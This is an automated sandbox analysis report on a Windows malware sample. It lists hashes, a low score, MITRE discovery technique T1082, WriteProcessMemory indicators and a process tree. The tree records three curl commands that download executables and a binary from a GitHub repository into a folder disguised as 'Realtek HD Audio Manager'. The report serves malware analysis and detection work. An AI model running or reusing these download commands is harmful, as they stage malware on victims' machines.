9189fc7f2a99cbb9c2ea6d2486b3aef126e40539d18465851a7ce9ba3b3bfd7d

Analysis

max time kernel
120s
max time network
121s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
27/03/2025, 04:16

Target

SecuriteInfo.com.Win64.MalwareX-gen.9836.14163.exe
Size

215KB
MD5

64bf69a02b9ec0727d0a03076d212b66
SHA1

e9f97d48a3c76355a66e408470d6744dfada8623
SHA256

9189fc7f2a99cbb9c2ea6d2486b3aef126e40539d18465851a7ce9ba3b3bfd7d
SHA512

0069ab640b8ec75a5589f8d1ef1b63fbbe8ce9c86a8ce6ed127101b3eaf319f5f998c0a8089af27b14276adb4fcd0048c6b947b7aa04cc06bcd2e7d72b8ffd6d
SSDEEP

3072:9CFLa6pQN86HH6hr4HyYLNlb7kwwORjt4b4pMBCLzzPtks82KOSuqnPSy6z83:9CXc88ahr4HPLnkjkMQtKlPSD43

Score

3^/10

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2916 wrote to memory of 1568	2916	SecuriteInfo.com.Win64.MalwareX-gen.9836.14163.exe	31
PID 2916 wrote to memory of 1568	2916	SecuriteInfo.com.Win64.MalwareX-gen.9836.14163.exe	31
PID 2916 wrote to memory of 1568	2916	SecuriteInfo.com.Win64.MalwareX-gen.9836.14163.exe	31
PID 2916 wrote to memory of 2520	2916	SecuriteInfo.com.Win64.MalwareX-gen.9836.14163.exe	33
PID 2916 wrote to memory of 2520	2916	SecuriteInfo.com.Win64.MalwareX-gen.9836.14163.exe	33
PID 2916 wrote to memory of 2520	2916	SecuriteInfo.com.Win64.MalwareX-gen.9836.14163.exe	33
PID 2916 wrote to memory of 2748	2916	SecuriteInfo.com.Win64.MalwareX-gen.9836.14163.exe	36
PID 2916 wrote to memory of 2748	2916	SecuriteInfo.com.Win64.MalwareX-gen.9836.14163.exe	36
PID 2916 wrote to memory of 2748	2916	SecuriteInfo.com.Win64.MalwareX-gen.9836.14163.exe	36

C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Win64.MalwareX-gen.9836.14163.exe
"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Win64.MalwareX-gen.9836.14163.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2916
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c curl -L "https://github.com/00094/String-Remover/raw/refs/heads/main/ConsoleApplication4.exe" -o "C:\Users\Admin\AppData\Roaming\Realtek HD Audio Manager\ConsoleApplication4.exe"
  2⤵
  PID:1568
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c curl -L "https://github.com/00094/String-Remover/raw/refs/heads/main/crazy.bin" -o "C:\Users\Admin\AppData\Roaming\Realtek HD Audio Manager\crazy.bin"
  2⤵
  PID:2520
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c curl -L "https://github.com/00094/String-Remover/raw/refs/heads/main/cheese.exe" -o "C:\Users\Admin\AppData\Roaming\Realtek HD Audio Manager\cheese.exe"
  2⤵
  PID:2748

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact